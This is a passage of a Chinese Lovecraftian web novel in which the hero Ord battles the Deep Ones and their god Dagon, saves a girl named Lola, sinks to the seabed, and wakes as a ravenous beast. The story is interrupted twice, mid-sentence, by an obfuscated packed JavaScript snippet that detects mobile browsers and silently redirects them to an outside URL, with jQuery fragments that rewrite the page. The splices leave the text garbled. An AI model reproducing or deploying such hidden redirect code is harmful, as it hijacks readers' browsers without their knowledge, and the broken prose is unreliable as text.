他几乎想也没想地就重新抬起因错愕而放下的手臂,冲着窗户狠狠砸去—— “你不想再考虑一下吗?” 卡文迪许的手臂挡在窗户前,拦住了他,这会这家伙倒是开始装大尾巴狼了,在他耳边低语低声规劝:“你无法与大衮匹敌的。深潜者和大衮,就像是人类与神明的区别,你对抗深潜者和星之彩都弄得一身是伤,怎么打大衮?” 卡文迪许一字一顿地说:“你会死。” 欧德的呼吸静止了一瞬,他犹豫了。但下一秒,他就重重推开卡文迪许的手臂。 抬脚挑起地上的马甲,缠住手肘,对准玻璃毫不犹豫地击去时,他头也不回地讥讽:“那你希望我怎么做?继续和你做完刚刚的事吗?” “哗啦……” 玻璃窗应声而碎。 这并不正常,毕竟面试官特意将他们关到这个屋子里,就意味着这间屋子应当坚不可摧——至少对于人类来说如此。 窗户碎得这么轻易,只能证明某个前一秒还言辞诚恳阻止他赴险的人,实际上早已更换了窗户的材质,为他打开了一条通往死亡的通道。 但欧德并不那么意外——毕竟即便是他,情绪最高潮时还留着一只手放在霰.弹枪边。他们本就是两头对峙着盘旋的野兽,亲密也只是交锋手段中的一种。 “欧德。”卡文迪许的声音在背后响起,但翻出窗台的欧德没有再回头。 他抬首向上,越过弥漫的海雾,看见那支单独分出来的小队已经从底层爬到了第七层。 “……”欧德在夜色中呼出了一口气。 白雾在他面前腾起。 他能感觉到自己的双手冰凉,脚也冰得快要僵掉。四肢因为发自生物本能的恐惧正不断渗着冷汗,之前清热时的温度已经彻底离他远去了。 ——也许我该趁这会儿逃走。 这已经超出我的能力范围了。 贸然动手除了送死还能起到什么效果?这是莽撞。 我应该逃走……趁着这会儿所有怪物的注意力都不在我身上……我可以逃出去,找当地的警局协助—— 小队已经走到了第三层。 因饥饿干渴而昏迷不醒的人类祭品在拖曳中惊醒过来,在死亡和恐惧的威胁下爆发出最后的力气,然而也只是徒劳的挣扎和哭叫。 萝拉作为唯一一名女性被单独横抱着,走在最前面,抱着她的深潜者似乎是个守卫队的领袖,它直接一屈膝盖,从第三层跳跃至与大衮视线齐平的那一层:“伟大的父神,为您——” “献上最好的祭品?” 忽然间,欧德听见自己的声音冷静地在深坑中响起。 他忽然不抖了,四肢也渐渐不那么冰冷,有一股热流混杂着愤怒、不甘、濒死之境的疯狂从胸膛中冲出来,眨眼间让他的身体从胸膛到手指都重新温热起来,甚至变得滚烫。 他不能逃。 ——他,不想,逃。 他的大脑空前清醒和冷静:从这里逃出去,再跟警局纠缠一通,这些人质——萝拉怎么可能还活着?退一万步说,哪怕警局真能及时赶来,他们又能跟这些深潜者相抗衡吗?之前在稻田里,他已经听那两个大衮密教的信徒说过了,人类的“烧火棍”根本没法打死深潜者。 他必须救下萝拉。他必须救下这些人。 他们也许是他在死亡面前,唯一有一搏之力救下的人……死亡已经从他身边带走了所有他爱的、爱他的人,现在他承蒙幸运眷顾,有了拿起枪对准死亡一战之力,他难道要放下吗? 不。 他为什么要放下? 他已经不用再畏惧死亡了。死亡对他来说只是久等的重逢,他为什么要怕?他还有什么可畏惧的?! 欧德的心脏空前急促沉重地跳动起来,但他的神情仍然冷静。 他向前一步,据点圆形的中空地形是最佳的扩音结构,他之前的话不光成功打断了深潜者队长的话,还令海雾中伫立的巨物微微移动。 欧德在鼓声般大噪的心跳声中有那么几秒产生一种快昏厥过去的眩晕感,但他并没有眩晕,甚至连声音都没有丝毫抖动: “拜托……我以为我才是这一波人类里最优秀的祭品?” “隆……” 巨物在大雾中轰然转身,身上的藤壶与管虫散发着深海生物特有的幽光:“Ahf'' ah fahf……” 15.第 15 章 海岛轰然震动。 欧德几乎分不清是地面在捶打他的脚底,还是鼓噪的血液在冲击他的身体。 他背在身后的右手指尖不着痕迹地勾过霰.弹枪的保险,确认其处于随时能够射击的状态,才悄然放下手,神态自然地在无数双悬浮在夜色中、灯泡似的绿眼睛注视下一路向前: “我不懂得您的语言,父神。”欧德以一种恭谦的语气说着完全不恭谦的话,“但我,我难道不是献给强大者最完美的祭礼吗?” “父神是我们的先祖!!我们的庇护者!你一个人类胡乱喊什么?!”跪拜的深潜者中有愤怒的声音响起,但完全被欧德忽略了。 他漫不经心地倚靠上祭台前腐朽潮湿的木栏,两条又直又长的腿从西装下摆露出来,随意交叠,在黑暗潮湿的环境中白得简直晃眼: “或者……是我理解错了。您并不在‘强大者’之列?” “什么?!你怎么敢——不不……父神!请听我的解释!”面试官打起哆嗦来,连滑了几下才从队列中爬站起来,“他的确不是献给您的祭品,但、但那和强大无关!我挑中他的时候,只觉得他是最适合克希拉大人的新郎,他将会和克希拉大人一起孕育出最完美的胚——” “您不想要我吗?”欧德故意压哑了嗓音,微微挑起视线,那妖冶的眸光从浓密的眼睫下勾出去,周围的所有嘈杂顿时变得不再重要。 “你……”巨物的声音像殷雷般轰隆作响,祂在海雾中缓缓俯身,掀得夜雾像浪潮般翻涌。 欧德闻到一股深海般腐朽压抑的气息,那两盏比他整个人还大的黄绿色幽灯降至面前时,将水波般粼粼的微光投映在他身上,可那光并不温暖,反而吸走了他周身的全部温度。 欧德几乎产生一种下一秒就会昏厥过去的眩晕感,但他并没有。他只是异常冷静地调整身体姿势和状态,确保自己随时能暴起而攻:“您……不想占有我吗?” “……”四野一片死寂。 下一秒,欧德骤然反手扯下背后长枪! “嘭嘭嘭……”子弹射.入巨硕的眼球中,发出一种闷闷的、像是射进水中的声响。 欧德在大衮因眼球骤然破裂而做出反应前,一把抓住一从附着在大衮眼框上的管虫,借力荡进涌出浊液的破裂眼球中。 顾不上挑剔周遭的黏液是否恶臭,他顶着阻力再次抬枪指向眼球内上方、大概是大脑的位置—— “Ahh ahor ymg''……”大衮发出了一声擂鼓似的低吼。 祂的行动速度远比欧德设想得更快,欧德的手指尚未扣下扳机,祂竟用一根手指活生生抠下了自己破损的眼珠! “乓!” 欧德在满是粘液的眼珠中被晃得天旋地转,但子弹仍是脱膛而出,无比霸道地在大衮手掌中央撕开一道豁口,为他辟开了一条脱身的通路。 欧德在翻腾间拼命划拨手臂,用力扒住裂口,在大衮狠狠捏碎眼球前猛然将自己从眼球中拔.出,踩住一颗西瓜大的藤壶借力,跳出手掌上的豁口。 坠落之际,他端着枪匆匆回头,抬眼便看见大衮那个黑洞洞的眼眶中,居然以肉眼可见的速度,再度生出了一颗崭新的眼珠! “你怎么敢——”地面下,一直跪伏着的深潜者们终于愤怒而起,纷纷拿起武器。 欧德踉跄了一下站稳,并没有花时间多看他们。 他的思维空前清醒集中,在确认已经将所有攻击都集中到自己身上后,他径直向着石屋的方向疾冲而去,仗着自愈能力翻身压着碎玻璃滚进屋后,动作迅速地往面露意外的见证者身后一滚! “轰……” 大衮粗如大厦的前爪洞穿了坚固的缟玛瑙石屋。 被欧德牢牢攥住,抵在身前的卡文迪许半是恍然地轻轻叹息了一声:“难怪你一直想确认我会留下……你想引导我们两败俱伤。” 时间像被放缓了,卡文迪许垂下霜色的眼睫,看着大衮尖锐的利爪渐渐捅向他的胸膛。 但在一切血腥的画面绽开前,他忽地闪了一下,紧攥着卡文迪许手臂的欧德只来得及眨了一次眼,就发觉自己正身处于深坑据点的最高层。 卡文迪许单臂半揽着他的腰,语气夹杂着浓到无法自我调解的遗憾:“我无法看见你,所以我想尽可能站得近一些。但看起来,站得近就会变成你的棋子……” 欧德的回复是抵上卡文迪许小腹的冰冷枪口:“去·死·吧。” “乓!” 霰.弹枪的枪口喷出火光。 欧德扣下扳机时没有丝毫犹豫。 卡文迪许不是怪物就是邪.教,撕破脸后继续留着他太危险了。 如果无法引导卡文迪许和大衮对抗,那他就必须亲手将对方杀死。 然而,可惜的是,有些祸害就是遗千年。 在射击的火光炸开前,卡文迪许就已经如同空气一样消散在欧德面前,仅余一枚雪亮的子弹划破夜色,轰然炸穿正对面平台的木质结构。 “轰……”碎裂的木板纷纷坠落。 而在夜色中,也有东西——有无数东西在升腾,那是自深海中爬出的怪物,是彻底被激怒的深潜者,还有他们的父神大衮。 “草……”欧德看着那些夜空中升起的幽光,完全抛下了惯常的礼仪克制。在几乎可见的死亡面前,这些讲究已经不再有意义。 他直白地对最好的期盼落空表达遗憾,但紧跟着,他就再次架起了枪。 血液冲刷得耳膜轰轰作响,但他的思路无比清晰: 无法利用卡文迪许引走敌人注意力,那他就必须亲自上阵。 继续抓住所有敌人的注意,给人质逃离创造时间和机会! “轰……” 第二枚子弹撕裂夜色,射入一只想将惊恐逃窜的人类祭品抓回来的深潜者脑中。 他的手爪还插在祭品的肩膀中,肩膀上却已空空如也,忽然减轻的头部体重让他缓缓向前倒去,烂泥一样贴着祭品的后背一寸寸滑落。 “啊……啊!!!!!”被糊了一身血污黏液的祭品出离惊恐地抱住自己的头颅,指甲抠挠得脸上一片血痕,“啊!!啊!!!!” “?”欧德一把拽住一只飞扑向他的深潜者的背鳍,踩上这丑东西的后背向下看,刚好借着这只临时坐骑的飞跃躲过大衮碾压来的手爪。 不出意料的,出乎意料的意外还发生了: 那些倒霉肉票们好像彻底被大衮的出现摧毁了心智,现在要么又哭又笑地躺在地上滚来滚去,要么崩溃地尖叫着试图把自己的眼睛抠烂。 所有人中,居然只有刚刚才被动静惊醒的萝拉是清醒的,但这小姑娘虚弱地抬眼一看,正对上黑夜中的群魔乱舞:“——” 欧德眼看着小姑娘的瞳孔扩散,不正常的癫狂在那双蓝色的眼底染上色彩:“——萝拉!!听着!” 他从没有这样大声地喊过,如果祖父在这儿,是否会责怪他失态呢:“这些都是你的噩梦!!都是假的!我告诉你梦外有什么——1980年!!在那儿,女孩也能上任何想学的课程!” “你不想坐进教室里学习医学了吗?!你不想亲自拿起解剖刀,去实践你在书本上看到的知识,而不是只能三更半夜躲在图书馆里,学习你一辈子、到死、死进土里腐烂掉,都没机会施展的学识吗?!” “……!”萝拉猛地浑身一个激灵,从癫狂中挣脱。 与此同时,天边阴云中积蓄已久的暴雨倾盆而下。 “……”欧德剧烈喘息着,深褐红色的头发已经被彻底打湿了,黏在他的额头和面颊上。 他的嗓子痛得像有硬物顶在喉管里,他的心跳从没这么快过—— 看哪。 唯一的道路已经向他示现了。 他想利用卡文迪许纠缠住怪物,带人质逃走,但卡文迪许离开了棋盘。 他想纠缠住怪物,让人质有逃跑的机会,但人质因为大衮的降临而步入疯狂。 现在,他只剩下唯一一条路——死亡站在尽头向他展现的这条路—— 将所有深潜者,还有他们敬爱的父神大衮,一同剿灭在这里。 再也没有需要顾及的事了。 礼仪、承诺、死亡。 他不用再想继续吞噬怪物是否会让他变得不再是人,因为他注定将走向死亡。 冰冷的雨水中,萝拉打着颤抬头。她本该本能地去恐惧那些夜色中浮动的丑陋怪物的,她本该仓皇躲藏的,但在弥天的海雾中,有一抹瘦削身影完全夺走了她的视线—— 欧德在大笑。 发了疯似的大笑。歇斯底里的大笑。好像那些从祖父离世那天起就积蓄在心头的情绪终于冲破沉闷的、名为克制的壳宣泄了出来。 他单手撕掉了身上只会碍事的破衬衫,丢进下方无尽的黑暗中。 有三只深潜者同时扑向他,一只被他直接抬起抵住胸膛,“嘭”地一声炸成肉块;另两只刚将利爪贯穿欧德的胸腹,就在惊惧中见到这疯狂的人类单手抓起那个死去同伴的头颅,紧盯着他们,用力咬碎了那颗头颅的颅顶。 腥臭的血液和脑浆一同涌出,欧德舌尖的每一个味蕾、身体的每一粒细胞却只叫嚣着欢愉。 他在短短两秒内将那颗头颅吸食一空,就随手掷向下方,紧接着抬手抓住面前那个捅穿了他胸膛的深潜者的手臂,舌头慢慢舔过沾着血污的苍白嘴唇,绿眼睛中亮着幽幽的、贪婪的光:“轮到你了。” “……?……!”深潜者的凸眼睛瞪得更圆乎了,简直在风里打颤,“不……不!!怪物!N''ghftdrn(怪物)!你不是人类!!” “咔嚓!” 欧德在深潜者血肉的加持下硬生生徒手折断了敌方的手臂,右手抬枪一击击碎深潜者的头颅,下一秒像野兽一样叼衔着深潜者的断臂,猫头鹰一样转过头,冲着后方神色惊恐的深潜者露出森森一笑。 “……Yog nnn!Yog nnn!(小心)” 慌乱的叫喊声开始在深潜者中响起,好像他们才是被闯入民宅的无辜者,欧德是那个残忍地摧毁他们安居地的怪物。 越来越多的血肉被欧德粗暴地塞入口中,强大的力量如同潮水般从身体中涌起,令他产生一种错觉,好像自己正在变成某种可怕的怪物。 ——也相距不远了。 欧德踩着脚下失去头颅的深潜者尸体飞跃而起,单凭小腿的力量足足跃上将近10米。他的动作不再狼狈沉重,短短三秒的时间就足以让他清空分散在百米过道中的十余名敌人。 “不……不!!” “救——” “疯子……那是个疯子!攻击他的头!不是要害他根本不躲!” “……”萝拉在深潜者的尸堆里翻找到一半,恰好看见欧德从她面前道路的左边掠食到右边,满身是血的红发青年在月光中的确不像个好人,更像个几千年没喝上血,饿疯了出来捕食的吸血鬼。 她止不住地浑身发抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557004|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手里抱着的碎缟玛瑙几乎要脱手而出。但下一秒—— 夹带着血腥的风重重扑上她的面颊,又轻轻止住。 满嘴都是血腥的青年在她面前半跪半蹲下身,单手抓住她手中的碎缟玛瑙,五指收紧,一块近似于手术刀的利石片在他手中成型,又丢回她手里,沙哑的声音简洁有力: “雨天不好生火。去洞穴里点燃了再出来。” “……”萝拉噗嗵嗵狂跳的心脏骤止了一瞬,怔愣地目送青年远去。 他猜到了……?他猜到她是想找东西割下深潜者身上的脂肪层用以生火求援,所以过来帮她的? 那道在雨水中像饿兽般疯狂猎食的身影忽然少了几分兽性带来的恐惧,她突然意识到,那个人也受了好重的伤啊,他一直在受伤。 萝拉赶忙蹲了回去,竭力克制手上的颤抖,以自己能达到的最快速度切割怪物身上的脂肪层。偶尔抬头时,能看见的不是欧德又吸干了某只怪物的血肉,就是欧德又被怪物捅穿了几个洞。 ……她几乎不忍心再看了。 这是一场漫长的拉力,期间大衮虽然没少攻击,但欧德总能险而又险地赶上时机,从小喽啰身上蹿到大Boss身上。大衮大概也是要面子的,并不愿意和欧德玩这种一不小心就会自己打自己脸的游戏,几次被戏耍后勃然大怒,直接抬起比五六层楼还长的手臂,狠狠砸上下方地面。 “轰……” 整座岛屿剧烈震颤,竟开始向缓缓向侧倾斜。 据点中的木质结构像干燥的树皮一样剥离坠落,石质的旋转过道也裂开数寸深的口子,碎石坠入中央深渊。 站在据点最高层的欧德步伐不由自主地停了半秒,望向下方已经完成脂肪层的剥离,开始撕扯布料做烛芯的萝拉。 冥冥之中,小姑娘好像感知到了他的视线,忽地抬起头,隔着大雨和他相望。 大衮再次高高举起手臂,将要落下。 欧德张了张嘴,最开始没能出声,但很快他就神色如常地抬手,用两指虚点了一下小姑娘,像19世纪的英国绅士出门前对着街坊邻居轻松愉悦地吆喝那样:“我跟死神打了个赌!赌我能救下你们!别让我输!” ——下一秒,他向后倒去,牵引着所有怪物的仇恨,坠入大海。 “…………”萝拉瞳孔骤缩,几乎能在滂沱的雨声中听见自己急促的喘息。她的手不可抑止地颤抖,但被她死死咬着嘴唇控制住了。 她迅速完成剩余的工作——拧出烛芯,再带上一块脂肪层冲进最近的洞穴里。 用脂肪浸润烛芯,用据点内的打火装置点燃烛火,再一手护着火,一手拖着皮毛地毯裹上足量的脂肪层,从欧德之前故意牵引大衮击打出的豁口,直奔海滩。 此时,国际公认的求救信号是三堆等距排列的火源、萝拉尽全力快速安置好脂肪堆,一边在心里颠三倒四地感激自己这些年为了偷听课爬树、爬墙、爬窗什么都做练出的一身蛮力,一边挨个点燃烛芯。 “快点……快点啊!”萝拉感觉自己眼泪都要出来了,也可能是已经出来了,混在了雨里。她嘴里咸腥一片,是之前为了迫使自己镇静下来咬出的血,“快点……那个人,那个疯子!什么跟死神打赌……他根本没想活!我得找人救他,找人……” 烛芯被暴雨打湿,即使浸润了脂肪油也难着。 萝拉试了一次、两次,几乎在心里痛骂自己为什么不把三根烛芯都在洞穴里准备好再出来,但紧跟着理智就严厉地呵斥她不要情绪上头,她就这么两只手,根本没法带三处点燃的火源出来。 第五次、第六次……过度紧张中,萝拉几乎已经丧失了身体的感知,只麻木地不断重复同一个动作。 直到第十三次。 这是个魔鬼的数字。但火焰却忽然从最后一根烛芯上猛蹿起来,嗤嗤燃烧着,涌动着滚烫的力量。 “……”萝拉一下捂住嘴,瘫坐在地。 会有人看见吗?会有的吧,一定有的。港口那里有守夜人,每天晚上都会看着海上的船只进出—— 隔岸,忽地亮起了灯光。 最开始是一盏小小的提灯,而后很快汇成了一支队伍。 萝拉看见港口有船动起来了,扬起船帆,那支提着灯的队伍迅速流上船只,响起船只出航前的鸣笛声。 大约是为了让求援的人安心,救援船只的汽笛是宏亮的,荡开了笼罩在海港的雾气,一路荡进海水下方。 “咕隆……” 欧德在不断下坠中竭力躲闪开大衮的攻击——这明显比在岸上困难很多,入水后,大衮的行动速度拔升明显,他却受阻力的影响行动迟滞。 但这并不影响他捕捉到这声鸣笛,也不影响他在缠斗间浮出水面时看清岸边的灯火。 “哈……哈哈!”欧德只笑出来这么几声,就被大衮碾断了右腿,狠狠拖下海中。 但在黑得几乎不透光的海水中,欧德依旧猖狂地大笑着,好像右腿的疼痛没有在碾着他的神经,好像他根本不在乎灌入的海水封堵他的肺腔。 没人能看见,也没人能听见,但欧德仍在海水中无声掀动嘴唇: ‘看吧,死亡,我从你手中夺走了你的猎物!’ 下一秒,他倏然屈起右膝,将自己反拽向靠近大衮的方向,贴近浑浊海水中大衮那只散发着幽光的巨大眼睛。 他再次抬起□□,对准敌人,口型清晰地落入大衮视线中:‘狗屎的怪物,你们也没有那么不可战胜。’ 16.第 16 章(重写版) 坠至海底最深处时,欧德几乎感到海中是有光的。 那些长相奇特的生物冷漠地游过他,一部分被他胸腹部蓬出的血雾吸引,更多的则像受到召唤一样,头也不回地奋力游向更上方。 那里有一道庞大的阴影,正和欧德一样无力地坠落,蔓延出更浓郁的血雾。直至臃肿的腹部砸上海床,震荡起大片的浑浊。 “……”欧德轻飘飘的身体因这震荡被掀起了一瞬,又像秋叶一样无力地下沉。 但这不算坏。他在意识逐渐分崩离析之际这么想。萝拉他救成功了,大衮也与他两败俱伤。即使他再活十年、二十年,大概也拼不到比这更辉煌的成就了吧? 那就够了。 ——知道吗?他还蛮幸运的。 他在死前仍保有作为人的理智,而不是彻底沦为怪物……他在今天之前还以为自己的结局只有前往GORCC自首,求浮士德他们在自己彻底变成怪物前杀死自己这一种呢。 欧德撞到了海床,柔软的珊瑚虫从硬壳中探出纤细的触须接住了他,让他感到又回到了自己还在祖宅时的大床上。 ……距离,上一次躺在祖宅的卧室里,过去多久了?两天?不,不对…… 他在5月23号被银行赶出家门,5月24号去了捕梦小镇。然后丢失记忆……6月2日跌撞着逃出小镇……赶回伦敦……去借贷,被抓捕,被回溯到5月24日,被深潜者卧底袭击,被卡文迪许袭击,清剿星之彩,潜入深潜者据点,清剿深潜者,和大衮同归于尽…… 好多事啊。欧德缓缓闭上眼,心里埋怨着对已经听不见他抱怨的祖父说。算上他没有记忆的七天,也就才过去九天而已。他怎么就这么累了呢? 他还是太软弱了。一点点短暂的磨难而已,他就产生活着好累这种念头。但是…… 稍稍软弱一下也没事的吧?他的确没有力气了。 反正……这世上最后一个能指责他的人,在他被赶出家门那一天,就已经离他远去了。祖父的遗体……也许会和他的一同腐烂。 但应该没什么,他们再相见时,如果祖父因此指责他,他就像幼年时那样蛮不讲理地说:这得怪你,祖父。谁让你先扔下我走的?看!这下咱俩的遗体都没人收了。 无光的深海中,欧德只剩下半边血肉的右手轻轻松开扳机,从霰.弹枪上滑落。 与此同时,海面之上。 暴雨将黑漆漆的海面搅得波涛诡谲。摇摆的救援船上,萝拉衣发透湿,拼命挣扎,试图从拉住她劝说的巡警手中挣开,尖细带着哭强和愤怒的声音在暴风中摇曳:“不!!你不明白!我们不能返航!!那个人——那个救了我们的人还在海里,他没法对付那怪物的!他会死!” 同样被雨淋得透湿的巡警只能紧紧拽着小姑娘,免得萝拉真跳下海去:“好好想一想!你这孩子……即使我们都跳进海里又能怎么样?!你觉得我们谁能在水里闭气超过一分钟?如果你说的那个人真有和几十米高的怪物搏斗的能力,他会自己回来的!” “他不会!”萝拉几乎是哭喊着吼出这么一句,脱力地跪倒在甲板上,再也有没有哪一刻像现在这样明白,自己的愤怒是源于对自己无能为力的憎恨,“他想要去死!你不明白吗?他不想活着!我不知道为什么……但那个疯子,那个怪人,他没有任何求生的意志……” 萝拉的目光带着绝望和无助,落在波涛翻涌的海面上。 她几乎开始痛恨自己了,痛恨自己为什么不能快点长大,为什么是一个无能为力的小姑娘。 那么多次啊,她跪坐在书架间,捧着解剖学书,自以为是地感觉自己好像捧着上帝的圣灵之书,好像只要拿起手术刀,就能救下任何人的性命。但事实上呢?她攥着手中的缟玛瑙片,只能目送来救她的人去死。 “孩子,孩子……”警长抓住甲板的扶手,在颠簸中从人群后挤了过来,给了她一个用力而温暖的拥抱,“你已经做得够好了!你已经做的够好了……没有几个孩子能在你这个年纪救下这么多成年人,这本该是成年人的工作——” “他还会回来吗?”萝拉听见自己麻木地问,“我还能看到他从海浪里回来吗?” 不会了吧。她怎么敢期待一个心存死志的人不去拥抱期待已久的死亡,反而从海浪中,折返回对他而言已经没有牵挂的人间呢? * “嘿!欧德。” 欧德在做梦。 他知道自己在做梦。 他梦见自己正穿着一身裁剪讲究的西装,坐在滚烫的沙漠秃石上,太装的代价就是他浑身冒汗,感觉自己正坐在蒸笼里,秃石烫得他感觉自己的屁股快焦了。 但这是个大晴天,太阳霸道而热烈地洒在他身上,因此他擦枪擦到一半,忽然丢开手.枪,带着几分正常人没法理解的享受向后一仰,双手撑住秃石,承接这热烈的日光: “安静,艾尔。让我享受会活着的感觉。” “还‘活着的感觉’呢?”一道高壮的身影凑过来,没有丝毫边界感地将胳膊肘搭在他肩膀上,艾尔的英语有着明显的埃及口音,“你们英国佬就是爱装。” “我告诉你,新兵蛋子——比起实战训练只要活着就算你成绩及格,你的文化课如果挂科那才叫完蛋。今早的课你记得多少?我问问你最基础的——你还记得宇宙存在理论吗?” 梦中的他礼貌而不失嫌弃地排开埃及佬的胳膊肘:“那很难记吗?” “‘整个宇宙都是由阿撒托斯的梦境构成的。[注]’” “‘祂沉睡,梦境存在,宇宙存在。’” “’祂醒来,梦境破裂,宇宙崩塌。’” “三柱神呢?”埃及佬非得往他身边挤。 梦中的他从秃石边站起来,优雅地拍拍西装衣摆: “森之黑山羊——莎布·尼古拉斯,祂孕育一切生命。” “混沌之信使——奈亚拉托提普,祂确保阿撒托斯始终沉浸于梦境,不会轻易醒来。” “万物归一者——犹格·索托斯,祂是一切时间、空间的支配者,无所不知。” “你不觉得他们的名字很难记吗?”埃及佬仿佛感觉不到他委婉的嫌弃,嬉皮笑脸地继续往他身边挨,浓黑的眉眼在阳光下缀着汗珠,展露出一种蓬勃的生命力。“嘿!别觉得我在危言耸听。你这才记了四个神名,所以清清楚楚。但等到后面?” “近千种旧日支配者、独立种族、仆从,还有旧神的名号……你的脑子会记爆炸的!更别提每天你还得接受高强度的体能训练。” 埃及佬亲热地用手肘揽住他的脖子,往近了一带:“我这人啊,熟了你就知道了。最喜欢和人做交易。” “咱们做个交易怎么样?我可以提前给你一份去年的文化课考卷,你照着背答案,保管你的文化课考试完美达标。至于报酬嘛……” 埃及佬看着他,黑色的眼睛在烈日下闪闪发亮。他笑嘻嘻地说:“我确定,你们英国对同性恋爱不反对吧?实不相瞒,新兵入伍那天,我一眼就在人群里看到你了,那西装穿的,真带劲!” “轰……” 毒辣的烈火夹带着滚滚黑烟,瞬间将面前阳光灿烂的画面吞没。 欧德发觉自己正跪坐在什么柔软的东西上,那堆东西的最顶端,是前一秒还在冲他不要脸皮地笑着自荐枕席的埃及佬。 对方的下半截身体已经没有了,森白的脊椎骨从血肉中拖出来,那双神采奕奕的眼睛涣散着,滚烫的手只剩下一点微凉的余温。 但艾尔那样紧的攥着他的手,用力得好像把这辈子剩下的力气都用在了这一握上:“我说过……什么来着?我最喜欢……和人做交易。” “我记得……我记得。”不成调的声音从梦中自己的喉腔里挤出来,“你还说,新兵入伍那天,你一眼就在人群里看到我了。” 艾尔笑起来,黑血一股股从他口中涌出:“哦……对,对……我还记得……那天,你穿着一身汤姆福特的西装……那窄腰,真带劲!” “……你是为了我而死……受伤的。你想交易什么?”梦中的自己强行控制住了声音中的颤抖,只是声线依旧显而易见的干涩,固执地逃避着同伴必将走向的那个结局。 “我想要……我想要你……”艾尔的瞳孔开始涣散了,但他的手攥得却越来越紧,“我要你,赢。” “我想要你赢,欧德。你必须!” “轰……” 烈火裹挟着浓郁的黑烟,终于将眼前的所有场景吞噬。 欧德在同一时间,骤然听见无数人的惨叫声、哭嚎声。炮火轰鸣,世界崩坍,他忽然意识到自己膝盖下压着的是什么了——那是人的尸体。 他在意识到这点后仓皇地从地上跳起来,却又因为脚下的着力点太软而踉跄跌倒。 他听见难听、嘈杂的哭嚎声从四野奔涌而来,那声音尖锐极了,像疯子的濒死哀嚎,像受尽折磨之时难以忍受的尖叫: “醒来……你必须醒来!” “不……不!你不可以。你没有权利沉眠。” “睁开你的眼睛!欧德·道格拉斯!!” ——不。 不。 为什么? 他只是想好好睡一觉。 这世界那么想送他去死,可为什么当他做好准备,迎接死亡时,又要有这么多痛苦尖锐的声音来阻拦他,那么多责任压上他的肩膀,那么多承诺要他兑现? 他做的难道还不够多吗? 究竟要做到哪一步,他才能拥抱沉眠呢? “咚……” 海底的微光中,那具本应沉寂的躯体猛地一颤,倏然睁开双眼。 ——那是被过往的呼唤唤醒,疲惫不堪的求死之人吗? 不。那是因安眠被惊扰而震怒,被从地狱拽回人间的野兽。 河床上,大衮终于从昏迷中逐渐苏醒。祂在袭来的剧痛中回想起前因后果,不由地发出一声惊愤交加的咆哮,拼命挣扎着在海床上扭动身体,调转方向,想除掉那个差点让祂死亡的人类。 但祂刚回头,就在漆黑的海水中,对上一双冰冷亮起的绿眼睛。 我能动吗?欧德的眼睛紧紧锁定着面前巨大的活物,挣动了一下身体无果。 我能撕咬吗?欧德张开嘴,却发现自己的下颌已经在之前的拼死一搏中断裂了。 此时此刻,他浑身上下大概只有肩膀以上的骨头还保持基本的完整。但那就只能放弃嘴边的猎物吗? 幽深的海水中,大衮心头莫名产生一种发自本能的危机感。祂的逻辑思维还在和这一点也没道理的逃离欲望打架,下一刻,就见眼前不过丁点大的人类缓缓吐出一口气,而后骤然鲸吸! 五百立方的海水眨眼被鲸吸入腹,源源不止。 一个急速旋转的海底漩涡瞬间形成,以海啸般的速度,将海床上的泥沙、珊瑚,周围的所有鱼虾疯狂扯向中心。 大衮原本卧在海床上,猝不及防间竟是被漩涡生生向欧德的方向扯了将近十米。 再反应过来时,什么报仇、攫除隐患的念头,统统都没了,祂在惊骇之中堪称狼狈地竭力伸长前爪,连抠地带摆尾地疯狂向远离欧德的方向逃窜,整整挣扎了两三分钟,才从那可怕的漩涡中挣脱,头也不敢回地直冲着巢穴逃去。 欧德停下鲸吸,带着对猎物的执着和不甘放弃,硬是拿下巴抵着地面,向前匍匐了几米,才发出一声愤怒的低吼。 再扭头时,你几乎无法从他那双燃烧着疯狂和兽性的眼睛里,找到任何一丝人类社会留下的影子。 某个倒霉蛋就是在这种时刻找上门的。 祂最初还还想赶紧倒竹篓子似的传完话,立即拍拍屁股溜回安全区域,嘴一张:“欧德,欧——哇!!” 像一条海底匍匐已久的沙蛇骤然而起,暴起而攻的欧德差点活生生将这只不比牙仙子大的梦境新神咬成两半,吞进腹里。 然而扬起的沙尘仅仅宣告着狩猎的再次开启,海床上的绿眸野兽喉底滚出亢奋的低吼,下一刻,再次攻击! “什——不!不!听我说!!”梦境新神生平第一次感受到被恐惧攥紧心脏是什么滋味,“我是来帮你的!!” “我是说——虽然我没法帮你太多,即使是雅威冕下,也只能在捕梦小镇外勉强和犹格索托斯僵持,但雅威冕下派了我来给你传话!” “嘿!听着——你这野蛮的家伙!我没法在这儿呆太久!犹格索托斯的注意力不可能被雅威冕下转移走太久!拿上这把钥匙!它会带你传送到小镇的圣公会教堂,那里的时钟有回溯时间的力量,扭转它,你就能回到过——” “呼啦……” 海水涌动。 欧德眼睛眨也不眨地盯着梦境新神,像根离弦的弓箭一样猛然弹向祂。 但当梦境新神心神俱裂地尖叫着闭上眼睛,以为死亡就要降临时,祂只是像一颗没有存在感的小石子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565010|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,被欧德带起的水流狠狠冲撞到一边。 